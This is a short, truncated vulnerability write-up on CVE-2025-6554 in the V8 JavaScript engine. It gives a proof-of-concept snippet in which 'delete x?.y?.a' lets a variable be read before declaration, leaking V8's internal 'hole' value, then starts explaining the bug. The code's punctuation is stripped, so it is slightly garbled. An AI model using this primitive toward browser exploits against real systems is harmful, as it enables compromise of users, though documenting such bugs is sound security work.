CVE-2025-6554

CVE-2025-6554 function leakhole let x; delete x?.y?.a; return y; let y; function pwn let hole = leakhole; %DebugPrinthole; pwn; Bug A variable y was accessed before declaration. Normally this should trigger a ReferenceError TDZ, but in older V8, when combined with delete x?.y, the check failed an...